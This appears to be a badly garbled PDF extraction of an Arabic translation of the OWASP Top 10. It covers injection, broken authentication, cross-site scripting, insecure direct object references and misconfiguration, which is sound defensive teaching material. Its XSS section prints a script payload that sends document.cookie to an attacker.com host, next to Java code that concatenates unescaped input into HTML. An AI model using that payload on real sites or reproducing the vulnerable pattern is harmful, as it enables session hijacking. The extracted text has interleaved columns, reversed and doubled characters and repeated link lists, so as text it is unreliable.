 .البيضاء القوائم عبر المدخلات

A1 الحقن 
[Injection] 

 الضعف نقاط
 الأمنية

  مؤشرات
 الهجوم

 التأثيرات
  عوامل التقنية

 التهديد

 التأثيرات
 العمل على
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https://www.owasp.org/index.php/ASVS
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https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/77.html
http://cwe.mitre.org/data/definitions/77.html
http://cwe.mitre.org/data/definitions/77.html
http://cwe.mitre.org/data/definitions/89.html
http://cwe.mitre.org/data/definitions/89.html
http://cwe.mitre.org/data/definitions/89.html
http://cwe.mitre.org/data/definitions/564.html
http://cwe.mitre.org/data/definitions/564.html
http://cwe.mitre.org/data/definitions/564.html
https://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
https://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
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 خصائص

 العمل / التطبيق

 التأثير

 خطر

 الإكتشاف

 متوسط

 الإنتشار

 واسع الإنتشار

 الإستغلال إمكانية

 متوسط
 التطبيق خصائص

فيًالإعتبارًالقيمةًًخذ
للبياناتًالتجاريةً/العملية

اوًوظائفًالمتضررةً
خذً. النظام/التطبيق ايضاً 

فيًالإعتبارًالتأثيرًعلىً
العملًالناتجًعنًكشفً
وجودًالثغرةًفيًالوسطً

   .العام

هذهًالثغراتًتجعلًًمثل
بعضًاوًكلًالحساباتً
عرضةًللهجوم،ً،عندماً
ينجحًالهجومًسيتمكنً

المهاجمًمنًفعلًكلًشيءً
يستطيعًفعلهًالضحيةً

(.  صاحبًالحساب)
الحساباتًذاتً

الصلاحياتًالعاليةًتكونً
 .عادةًهيًالمستهدفة

المطورينًعادةًيقومونًببناءًآليةًخاصةًللتحققًمنً
الهويةًولإدارةًجلساتًالإتصال،ًولكنًمنًالصعبً

كنتيجةًلهذاًعادةًيكونًهناكً. بناءهاًبشكلًصحيح
ثغراتًفيًعدةًاماكنًمنهاًتسجيلًخروجًالمستخدم،ً

ادارةًكلمةًالمرور،ًانتهاءًوقتًالجلسة،ًتذكرًمعلوماتً
المستخدم،ًالسؤالًالسري،ًتحديثًمعلوماتًالحساب،ً

إيجادًمثلًهذهًالثغراتًقدًيكونًصعباًبعضً. إلخ...
 .الاحيانًلأنًالتنفيذًمختلف

يستغلًخللًاوًًالمهاجم
ثغرةًفيًآليةًالتحققًمنً
الهويةًاوًفيًوظائفً
.  إدارةًجلسةًالإتصال

علىًسبيلًالمثالً)
حساباتًاوًكلماتًالمرورً
اوًمعرفاتًجلساتًاتصالً

منًاجلًانتحالً( مكشوفة
شخصيةًمستخدمينً

 .آخرين

مهاجمينًًخذًفيًالإعتبار
مجهولينًمنًالخارج،ًوً
مستخدمينًلديهمًحساباتً

خاصةًبهمًوالذينًقدً
يحاولونًًسرقةًحساباتً

ايضاً. مستخدمينًآخرين
خذًفيًالاعتبارًوجودً
مهاجمينًمنًالداخلً

 .يريدونًتمويهًنشاطاتهم

 

 الإختراق لكيفية أمثلة

URLًتطبيقًحجوزاتًخطوطًطيرانًتدعمًإعادةًكتابةًسطرًالعناوينً :الأولالمثال 
 :وتضعًمعرفاتًجلساتًالإتصالًفيًسطرًالعناوين

http://example.com/sale/saleitems;jsessionid= 
  2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii 

المستخدمًالمتحققًمنًهويتهًلهذاًالموقعًأرادًإطلاعًاصدقائهًعنًهذهًالصفقة،ًفأرسلً
فيًالأعلىًبواسطةًالبريدًوبدونًانًيعرفًانهًبهذهًالطريقةًيرسلًايضاً الرابطًالتيً

حينهاًيستطيعًاصدقائهًاستخدامًالوصلةًومنًخلالهاً. معرفًجلسةًالإتصالًالخاصًبه
بطاقتهًالائتمانية  .سيستخدمونًمعرفًجلسةًالاتصالًالخاصةًبهًوايضاً 

المستخدمً. وقتًانتهاءًجلسةًالإتصالًللتطبيقًليستًمختارةًبشكلًجيد :المثال الثاني
عنًاختيارً. يستخدمًكمبيوترًعامًللدخولًللموقع قامًالمستخدمً“ الخروج تسجيل”عوضاً 

والمتصفحًمهاجمًقامًبإستخدامًنفسًالمتصفحًبعدًساعةً. بالإكتفاءًبإغلاقًالمتصفحًفقط
 .للموقعلازالًمحتفظًبمعلوماتًتحققًالهويةًصالحةً

المهاجمًسواءًمنًالداخلًاوًالخارجًاذاًحصلًعلىًحقًالدخولًلقاعدةً :المثال الثالث 
وكانتًكلماتًالمرورًلاًتستخدمً. البياناتًالتيًتحويًكلماتًالمرورًلمستخدمينًالنظام

فإنًالمهاجمًيكشفًكلماتًالمرورًلجميعً ،"Hash"الخوارزمياتًاحاديةًالإتجاهً
 .المستخدمين

 ؟هل أنا معرض لهذه الثغرة
كلمةًالمرورًومعرفًجلسةًالإتصالًمؤمنة؟ً/هلًأصولًإدارةًجلسةًالإتصالًمنًمثلًاسمًالمستخدم

 :قدًتكونًعرضةًللهجومًإذا

كلمةًالمرورًغيرًمؤمنةًعندًالتخزينًبواسطةًخوارزمياتًالتشفيرًاوًالدوالً/اسمًالمستخدم1.

 .A6انظرً. Hashاحاديةًالإتجاهً

كلمةًالمرورًمنًالممكنًتوقعهاًاوًإعادةًكتابتهاًبواسطةًوظائفًإدارةًالحسابً/اسمًالمستخدم2.

إسترجاعًكلمةًالمرور،ًالمرور،ًتغييرًكلمةًالحساب،ًعلىًسبيلًالمثالًإنشاءً. )الضعيفة

 (.معرفًجلسةًإتصالًضعيف

علىًسبيلًالمثالًإعادةًكتابةً) URLمعرفاتًجلساتًالإتصالًالمكشوفةًفيًسطرًالعناوين3ً.

URL Rewrite.) 

 .session fixation معرفاتًجلساتًالإتصالًعرضةًلهجومًتثبيتًجلسةًالإتصال4ً.

معرفاتًجلساتًالإتصالًليسًلهاًوقتًانتهاء،ًاوًانًجلساتًالمستخدمًاوًمدخلاتًالتحقق5ً.

-single signوعلىًوجهًالخصوصًالتيًتكونًتسجيلًدخولًلمرةًواحدةً -منًالهويةً

on-ًيتمًإلغاءهاًبشكلًجيدًاثناءًتسجيلًالخروجًمنًجلسةًالإتصال،ًلم. 

 .معرفاتًجلساتًالإتصالًلاًيتمًإعادةًتدويرهاًبعدًتسجيلًالدخولًبنجاح6.

كلماتًالمرور،ًمعرفاتًجلساتًالإتصال،ًواثباتاتًالتحققًمنًالهويةًتُرسلًعبرًإتصالًغير7ً.

 .نًالمعلوماتلمزيدًمVً 3وVً 2فيASVSًًانظرًمتطلباتً. 6Aانظرً. مشفر

 مراجع
 :أواسب

لمعلوماتًكاملةًعنًمجموعةًالمتطلباتًوالمشاكلًلمنعًحدوثًهذهًالهجماتً
وًإدارةًجلسةً V)2 (متطلباتًالتحققًمنًالهويةً  ASVSانظرًمتطلباتً

 V)3( الإتصال

• OWASP Authentication Cheat Sheet 

• OWASP Forgot Password Cheat Sheet 

• OWASP Session Management Cheat Sheet 

• OWASP Development Guide: Chapter on 
Authentication 

• OWASP Testing Guide: Chapter on Authentication 

 :خارجية روابط

• CWE Entry 287 on Improper Authentication 

• CWE Entry 384 on Session Fixation 

 
 كيف أمنع هذه الثغرة؟

 :التوصيةًالرائيسيةًلأيًمنظمةًانًتتيحًللمطورينًالآتي

مجموعةًقويةًمنًوحداتًالتحققًمنًالهويةًوًالتحكمًلإدارةًجلسات1ً.
في. الاتصال  :وحداتًالتحكمًهذهًيجبًانًتسعىًحثيثاً 

.aًًإستيفاءًجميعًمتطلباتًالتحققًمنًالهويةًوإدارةًجلسة
معيارًالتأكدًلمستوىًالأمنًفيً”الإتصالًالمعرفةًفيً

التحققًمنV2ً (لأواسبًفيًكلًٍمنASVSً “ التطبيقات
 (.إدارةًجلسةًالإتصال) V3وًً)الهوية

.bخذًفيًالإعتبارًإستخدامً. وجودًواجهةًبسيطةًللمطورين
ًالواجهاتًالبرمجيةًللتطبيقاتًالخاصةًبالمتحققًمنًالهويةً

 .كأمثلةًجيدةًلمحاكاتهاًواستخدامهاًوالبناءًعليها

،ًوالتيXSSًقويةًيجبًانًتقدمًلمنعًثغراتًالبرمجةًعبرًالمواقعًجهود2ً.
 .A3انظرً. قدًتستخدمًلسرقةًمعرفاتًجلساتًالإتصال

A2 الإتصال جلسة وإدارة الهوية من التحقق ضعف 
[Broken Authentication and Session Management] 

 الضعف نقاط
 الأمنية

  مؤشرات
 الهجوم

 التأثيرات
  عوامل التقنية

 التهديد

 التأثيرات
 العمل على

https://www.owasp.org/index.php/Session_fixation
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 خصائص

 العمل/ التطبيق

 التأثير

 متوسط

 الإكتشاف

 سهل

 الإنتشار

 واسع الإنتشار جدا   

 الإستغلال إمكانية

 متوسط
 التطبيق خصائص

فيًالإعتبارًالقيمةًًخذ
للأنظمةًالتجاريةً/العملية

 .  والبياناتًالمتضررة

خذًفيًالإعتبارً ايضاً 
التأثيرًعلىًالعملًالناتجً
عنًكشفًوجودًالثغرةً

   .فيًالوسطًالعام

 

تمكّنًهذهًالثغرةًالمخترقً
منًتشغيلًبرامجًخبيثةً

،ًعبرًمتصفحًالضحية
ًالإتصال،سرقةًجلسةً

تشويهًالموقعًالمرادً
إدراجًمحتوياتًً،زيارته
ً،ًإعادةًتوجيهخبيثة

المستخدمًلموقعًآخر،ً
بمتصفحًالتحكمً
 الخ...الضحية

هيًالاكثرًانتشارا ًفيًتطبيقاتً XSSتعتبرًثغرةً
وًتتواجدًفيًأماكنًإدخالًالبياناتًمنًقبلًالويبً

المستخدمينًوالتيًلاًتتضمنًعملياتًالتأكدًمنًسلامةً
أنواعًلهذه3ًً هناكً. تخطيهاالبياناتًالمرسلةًوً

نماذجًالىًًمستندة -3  وعكسيةً -2،ًمخزنة -1: الثغرة
 . )DOM XSS (الوثيقةًمكونات

اختبارًًالكشفًعنًهذهًالثغراتًسهلًنوعاًماًويتطلب
 .فحصًالنصًالبرمجيًأو

يقومًالمخترقًبإرسالً
نصوصًبرمجيةًتعملً

علىًاختراقًالمفسّرًالذيً
.  يعملًعليهًالمتصفح

بالإمكانًإعتبارًأيًمصدرً
هوًمصدرً للبيانات،

  ،للهجومًعلىًالموقع
يتمًالتيًالبياناتًمتضمناً

 .جلبهاًمنًقواعدًالبيانات

 يا أن الإعتبار في خذ
  مياقال هيمكن شخص
 غير بيانات بإرسال
 بمن ،النظام إلى موثوقة
 المستخدمين فيهم

 ،الداخليين أو ،الخارجيين
 .ءًالنظاممدرا أو

A3 الموقع عبر البرمجة 
[Cross-Site Scripting – XSS] 

 الضعف نقاط
 الأمنية

  مؤشرات
 الهجوم

 التأثيرات
  عوامل التقنية

 التهديد

 التأثيرات
 العمل على

 الإختراق لكيفية أمثلة
عمليةًالتاليًبدونًً HTMLيستخدمًالتطبيقًبياناتًغيرًموثوقةًلبناءًنصًال

 .escapingالتخطيًوبدونًاستخدامًعمليةًًالتحقق

(String) page += "<input name='creditcard' 
type='TEXT‘ 
  value='" + request.getParameter("CC") + "'>"; 

  فيًالمتصفحًالى" CC"المخترقًبتغييرًالمتغيرًيقومً

 '><script>document.location= 
  'http://www.attacker.com/cgi-bin/cookie.cgi? 
  foo='+document.cookie</script>' 

هذهًالخطوةًبإرسالًجلسةًالاتصالًالخاصةًبالضحيةًإلىًموقعًالمخترقًتتسببً

 .لتسمحًلهًبانتحالًشخصيةًالضحيةًمنًخلالها

فيًتجاوزًالدفاعاتً XSSمعًالعلمًانًبإمكانًالمخترقينًاستخدامًثغراتً

لمزيدًمنًالمعلوماتًعنًثغراتً. CSRFالمخصصةًللحمايةًمنًثغراتً

 .A8شاهدCSRFًًال

 هل أنا معرض لهذه الثغرة؟
تطبيقكًفيًخطرًاذاًلمًتتأكدًأنًجميعًالمدخلاتًمنًقبلًالمستخدمينًمقاومةً

قبلًسلامةًالمدخلاتً،ًأوًلمًيتمًالتحققًمنً”Escaping“لمشاكلًالتخطيً
بدونًإجراءًالتحققًأوًالتخطيً. عرضهاًللمستخدمًفيًالصفحةًكمخرجات

“Escaping”ًالمخرجات،ًيتعاملًالمتصفحًمعًالمدخلاتًكمحتوىًنشطًقدًعلى
الصفحاتًبطريقةًلتحديثً  Ajaxاستخدمًفيًحالً. تسببًالضررًللمستخدم
؟ًلواجهاتًالتطبيقًواجهاتًالتطبيقًالآمنةًلجافاًسكربتدينماكية،ًهلًتستخدمً

 .والتحققً”Encoding“الغيرًآمنةًلجافاًسكربت،ًيجبًاستخدامًالترميزً

لكنًجميعً. بطريقةًآليةXSSًبإستطاعةًبعضًالبرامجًالعثورًعلىًمشاكلًالً
التطبيقاتًتعملًبطريقةًمختلفةًوتستخدمًمفسّراتًلبرامجًمختلفةًلتصفحً

مماًيجعلSilverlightًًوًً JavaScript, ActiveX, Flashالانترنتًمثلً
لذلك،ًيجبًاستخدامً. العثورًعلىًالثغراتًوكشفهاًبطريقةًآليةًأمرًصعب

الطرقًاليدويةًلتحليلًالنصًالبرمجيًوًاختبارًالإختراقًبالاضافةًللأدواتً
 .الآليةًللحصولًعلىًنتيجةًأفضل

العثورًعلىًثغراتًتجعلً" Web 2.0"مثلً الويبتقنياتًالجيلًالثانيًمنً
XSSًبإستخدامًالأدواتًالآليةًأصعب. 

 مراجع
 :أواسب

• OWASP XSS Prevention Cheat Sheet 

• OWASP DOM based XSS Prevention Cheat Sheet 

• OWASP Cross-Site Scripting Article  

• ESAPI Encoder API 

• ASVS: Output Encoding/Escaping Requirements (V6) 

• OWASP AntiSamy: Sanitization Library 

• Testing Guide: 1st 3 Chapters on Data Validation Testing 

• OWASP Code Review Guide: Chapter on XSS Review 

• OWASP XSS Filter Evasion Cheat Sheet 

 :روابط خارجية

• CWE Entry 79 on Cross-Site Scripting 

 
 كيف أمنع هذه الثغرة؟

 .يتطلبًفصلًالبياناتًالغيرًموثوقًبهاًمنًالمحتوىًالنشطًللمتصفح XSS منعًثغرات

  HTMLالمفضلًهوًتخطيًالبياناتًالغيرًموثوقةًبالإعتمادًعلىًسياقًالخيار1ً.
((body, attribute, JavaScript, CSS, or URL .ًبإمكانكًالإطلاعًعلى

لتفاصيلًاكثرًعنًمختلفًتقنياتًالتخطيًعلىًً XSSملخصًأواسبًلمنعًثغرات
 .OWASP XSS Prevention Cheat Sheetهذاًالرابطً

لمساعدتكًفيًالحمايةً" whitelist" قائمةًبالمدخلاتًالمسموحةًعملًوبإمكانك2ً.
فقدًتتسببًفيًتعطيلًبعضًًليستًحمايةًكاملةولكنهاًً،XSSضدًثغراتً

يجبًأنًيتضمنًفيً. الخصائصًالتيًتحتاجًالىًالرموزًالخاصةًفيًالمدخلات
التحققًمنًطولًالمدخل،ً: عمليةًالتحققًالخصائصًالتاليةًقدرًالإمكانًوهي

 .الأحرف،ًالصيغة،ًوقواعدًالعملًالمطبقةًعلىًالبياناتًالمدخلةًقبلًقبولها

-auto"الغنية،ًيجبًالأخذًبالإعتبارًمكتباتًالتطهيرًالآليةًللمحتويات3ً.
sanitization "ًمثلAntiSamyOWASP ًًوJava HTML Sanitizer 

Project . 

 Content Security Policyالنظرًفيًسياساتًأمنًالمعلوماتًللمحتوىًيجب4ً.
(CSP)ًًفيًالحمايةًضدًثغراتXSSًلموقعكًبالكامل. 

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/DOM_Based_XSS
https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf
http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/AntiSamy
https://www.owasp.org/index.php/Testing_for_Data_Validation
https://www.owasp.org/index.php/Testing_for_Data_Validation
https://www.owasp.org/index.php/Testing_for_Data_Validation
https://www.owasp.org/index.php/Testing_for_Data_Validation
https://www.owasp.org/index.php/Testing_for_Data_Validation
https://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/AntiSamy
https://www.owasp.org/index.php/AntiSamy
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/Content_Security_Policy
https://www.owasp.org/index.php/Content_Security_Policy
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فيًالإعتبارًالقيمةًًخذ
للأنظمةًالتجاريةً/العملية

 .  والبياناتًالمتضررة

خذًفيًالإعتبارً ايضاً 
التأثيرًعلىًالعملًالناتجً
عنًكشفًوجودًالثغرةً

   .فيًالوسطًالعام

مثللللللًهلللللذهًالثغلللللراتًقلللللدً
تعلللللرضًجميلللللعًالبيانلللللاتً
التللليًيمكلللنًالإشلللارةًاليهلللاً

اذاًكانللتًالكائنللاتً. للخطللر
“Object”ًًالمشارًاليهاًلا

يمكلللنًالتنبللللؤًبهللللا،ًعندئللللذً
سلليكونًمللنًالصللعبًعلللىً
المهلللللاجمًالوصلللللولًلكللللللً

 .البياناتًمنًنفسًالفئة

 

ماًتستخدمًالتطبيقاتً الاسمًأوًالقيمةًالفعليةًللكائنًغالباً 
ولاًتتحققًالتطبيقاتًدائماً . عندًإنشاءًصفحاتًالويب

منًصلاحيةًالمستخدمًللوصولًواستخدامًالكائنً
ويؤديًهذاًإلىًظهورًثغرةًالإحالةً. المستهدف

التلاعبً للمختبرينويمكنً. المباشرةًالغيرًآمنةًللكائن
.  بسهولةًفيًقيمًالمعاملًللكشفًعنًمثلًهذهًالأخطاء

ماًيظهرًتحليلًالنصًعماًإذاًكانًيتمًالتحققً وسريعاً 
 .بشكلًصحيحًمنًالتفويض

إنًالمهللللللاجمًالللللللذيًهلللللللوً
مسللتخدمًنظللامًمعتمللدًيقللومً
ببسلللللللاطةًبتغييلللللللرًقيملللللللةً
المعاملًالتيًتشيرًمباشلرةً
إلللللللللللىًكللللللللللائنًالنظللللللللللامً
"system object"  

كللائنًآخللرًللليسًلللدىًإلللىً
المسلللللللللللتخدمًصلللللللللللللاحيةً

هلًيلتمًملنحً. الوصولًإليه
 صلاحيةًالوصول؟

أنًتأخذًفيًالاعتبلارًعليكً
أنللللواعًمسللللتخدميًالنظللللامً

هلللًلللدىًأيً. الخللاصًبللك
ملللنًالمسلللتخدمينًوصلللولً
جزئلليًفقللطًلأنللواعًمعينللةً

 منًبياناتًالنظام؟

 مراجع
 :أواسب

• OWASP Top 10-2007 on Insecure Dir Object 
References 

• ESAPI Access Reference Map API 

• ESAPI Access Control API (See isAuthorizedForData(), 

isAuthorizedForFile(), isAuthorizedForFunction() ) 

For additional access control requirements, see the 
ASVS requirements area for Access Control (V4). 

 

 :روابط خارجية

• CWE Entry 639 on Insecure Direct Object References 

• CWE Entry 22 on Path Traversal (an example of a Direct 

Object Reference attack) 

 آمنة الغير المباشرة الإحالة
[Insecure Direct Object References] A4 

 الضعف نقاط
 الأمنية

  مؤشرات
 الهجوم

 التأثيرات
  عوامل التقنية

 التهديد

 التأثيرات
 العمل على

 الإختراق لكيفية أمثلة
يستخدمًالتطبيقًبياناتًلمًيتمًالتحققًمنهاًفيًطلباتًقاعدةًالبياناتًمنًخلالً

 :تصلًإلىًمعلوماتًالحسابوالتيً" SQL"أوامرً

String query = "SELECT * FROM accts WHERE account = ?"; 

 PreparedStatement pstmt = 

connection.prepareStatement(query , … (; 

pstmt.setString( 1, request.getParameter("acct")); 

ResultSet results = pstmt.executeQuery( ); 

 

فلليًالمتصللفحًالخللاصًبللهًلإرسللالًرقللمً" acct"يعللدلًالمهللاجمًببسللاطةًمعاملللً 
إذاًلللمًيللتمًالتحقللقًمللنًذلللكًبشللكلًصللحيح،ًيمكللنًللمهللاجمً. الحسللابًالللذيًيريللده

 .الوصولًإلىًحسابًأيًمستخدم،ًبدلاًمنًحسابًالعميلًالمقصودًفقط

http://example.com/app/accountInfo?acct=notmyacct 

 هل أنا معرض لهذه الثغرة؟
طريقةًلمعرفةًماًإذاًكانًأحدًالتطبيقاتًعرضةًلثغرةًالإحالةًالمباشرةًأفضلً

.  مراجعًالكائناتًلهاًدفاعاتًمناسبةًجميعغيرًالآمنةًللكائناتًهوًالتحققًمنًأنً
 :ولتحقيقًذلك،ًعليكًأخذًماًيليًفيًالاعتبار

،ًهلًيفشلًالتطبيقًفيًالتحققًالمحدودةللمواردًًالمباشرةبالنسبةًللإحالات1ً.
 منًأنًالمستخدمًمصرحًلهًبالوصولًللموردًالمحددًالذيًطلبه؟

،ًهلًالتعيينًللمرجعًالمباشرًيفشلًفيًالحدًغير مباشرةإذاًكانتًالإحالة2ً.
 ؟بهاًللمستخدمًالحاليالمصرحًمنًالقيمً

 

أنًيتحققًبسرعةًمماًإذاًكانًيتمًتطبيقًالنهجًنصًالتطبيقًيمكنًلمراجعةً
كماًأنًالفحصًهوًأيضاًفعالًلتحديدًمراجعًالكائناتًالمباشرةًوعماًإذاً. بأمان

وعادةًلاًتبحثًالأدواتًالآليةًعنًمثلًهذهًالأخطاءًلأنهاًلاًيمكنًأنً. كانتًآمنة
 .تتعرفًعلىًماًيتطلبًالحمايةًأوًماًهوًآمنًأوًغيرًآمن

 
 كيف أمنع هذه الثغرة؟

طريقةًالوقايةًمنًثغراتًالإحالةًالمباشرةًالغيرًالآمنةًللكائناتًيتطلبًاختيارًإنً
الكائناتًوًعلىًسبيلًالمثال،ًرقمً)لحمايةًكلًكائنًيمكنًللمستخدمًالوصولًإليهً

 (:اسمًالملف

استخدام إحالات غير مباشرة للكائنات خاصة لكل مستخدم أو لكل جلسة 1.
حيثًيمنعًهذاًالأسلوبًالمهاجمينًمنًالاستهدافًالمباشرًللمواردًً.اتصال

علىًسبيلًالمثال،ًبدلاًمنًاستخدامًمفتاحًقاعدةًبياناتً. غيرًالمصرحًبها
للمورد،ًفإنًالقائمةًالمنسدلةًمنًستةًمواردًوالمصرحًبهاًللمستخدمًالحاليً

للإشارةًإلىًالقيمةًالمحددةًمنًخلال6ًً-1يمكنًأنًتستخدمًالأرقامً
ويجبًأنًيعينًالتطبيقًالإحالةًالغيرًمباشرةًلكلًمستخدمً. المستخدم

كماًأنًمشروعً. بالعودةًإلىًمفتاحًقاعدةًالبياناتًالفعليًعلىًالخادم
)ESAPI(ًًمنًأواسبًتتضمنًكلاًمنًالخرائطًالمرجعيةًللوصول

التسلسليًوالعشوائيًالتيًيمكنًأنًيستخدمهاًالمطورينًلإزالةًالإحالاتً
 .المباشرةًللكائنات

لكلًإحالةًمباشرةًلكائنًمنًمصدرًغيرًموثوقًيجبً. التحقق من الوصول2.
أنًيشملًاختبارًللتأكدًمنًصلاحيةًالوصولًلضمانًأنًالمستخدمًمصرحً

 .لهًبالكائنًالمطلوب

 

http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/22.html
http://cwe.mitre.org/data/definitions/22.html
http://cwe.mitre.org/data/definitions/22.html
https://www.owasp.org/index.php/ESAPI
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يمكنًأنًيتمًخرقًالنظامً
. بالكاملًبدونًمعرفةًذلك
ويمكنًأنًيتمًالاستيلاءً
علىًجميعًبياناتكًأوً
تعديلهاًببطءًبمرورً

 .الوقت

ويمكنًأنًتكونًتكاليفً
 .الاستعادةًمكلفة

إنًمثلًهذهًالأخطاءًكثيراً
ماًتعطيًالمهاجمينً

الوصولًغيرًالمصرحًبهً
لبعضًبياناتًأوًوظائفً

وفيًبعضً. النظام
الأحيان،ًتؤديًمثلًهذهً
الأخطاءًإلىًخرقًالنظامً

 .بالكامل

إنًالإعداداتًالخاطئةًللتأمينًيمكنًأنًتحدثًفيًأيً
التطبيق،ًبماًفيًذلكًً”Stack“مستوىًمنًطبقاتً

المنصة،ًوخادمًالويب،ًوخادمًالتطبيقات،ًوقاعدةً
والنصً،ً"framework"وإطاراتًالعملًالبيانات،ً
ويحتاجًالمطورينًومسؤوليًالنظامًإلىً. المخصص

العملًمعاًلضمانًأنًيتمًتكوينًالطبقاتًبالكاملًبشكلً
كماًأنًأدواتًالفحصًالآليةًتكونًمفيدةً. صحيح

للكشفًعنًالتحديثاتًالمفقودة،ًوالإعداداتًالخاطئة،ً
واستخدامًالحساباتًالافتراضية،ًوالخدماتًغيرً

 الضرورية،ًالخ

يصلًالمهاجمًإلىً
الحساباتًالافتراضية،ً

والصفحاتًغيرً
المستخدمة،ًوالأخطاءً
التيًلمًيتمًإصلاحها،ً
والملفاتًوالأدلةًغيرً
المحمية،ًالخًمنًأجلً
الحصولًعلىًوصولً

غيرًمصرحًبهًللنظامًأوً
 .معرفةًهذاًالنظام

مهاجمينًًخذًفيًالإعتبار
مجهولينًمنًالخارج،ًوً
مستخدمينًلديهمًحساباتً

خاصةًبهمًوالذينًقدً
يحاولونًًسرقةًحساباتً

ايضاً. مستخدمينًآخرين
خذًفيًالاعتبارًوجودً
مهاجمينًمنًالداخلً

 .يريدونًتمويهًنشاطاتهم

 الإختراق لكيفية أمثلة
كماًأنهًلاً. تلقائياًتثبيتًوحدةًالتحكمًبإدارةًخادمًالتطبيقًولاًيتمًإزالتهايتمً :الأولالمثال 

ويكتشفًالمهاجمًصفحاتًالإدارةًالإفتراضيةًالموجودةً. يتمًتغييرًالحساباتًالافتراضية

علىًالخادمًالخاصًبكً،ًويقومًبتسجيلًالدخولًبكلماتًمرورًافتراضية،ًويكونًهوً

 .المتحكم

.  علىًالخادمًالخاصًبك "directory listing"يتمًتعطيلًقائمةًالدليلًلاً :الثانيالمثال 

كماًيمكنًللمهاجمً. ويكتشفًالمهاجمًأنهًيمكنهًببساطةًسردًالأدلةًللعثورًعلىًأيًملف

وتحميلها،ًثمً "compiled Java Classes"العثورًعلىًجميعًفئاتًالجافاًالمجمعةً

النصوصًيقومًبتفكيكهاًومنًثمًتطبيقًالهندسةًالعكسيةًعليهاًللحصولًعلىًجميعً

وبعدًذلكًيعثرًعلىًخطأًخطيرًفيًالتحكمًفيًالوصولًفيًالتطبيقًالخاصً. المخصصة

 .بك

 stack"إعداداتًخادمًالتطبيقًبأنًيتمًعرضًتتبعاتًالمكدسًتسمحً :الثالثالمثال 

traces" للمستخدمين،ًوالتيًمنًالممكنًأنًيكتشفًمنًخلالهاًعلىًثغراتًأمنيةًأخرى  .

 .الإضافيةًالتيًتقدمهاًلهمًرسائلًمعالجةًالأخطاءالمعلوماتًيحبًالمهاجمونً

خادمًالتطبيقًبعضًالتطبيقاتًالمساعدةًوالتيًلايتمًحذفهاًمنًيصاحبً :الرابعالمثال 

قدًتعانيًهذهًالتطبيقاتًالمساعدةًمنًثغراتًأمنيةًمشهورةًيمكنً. خوادمًبيئةًالإنتاج

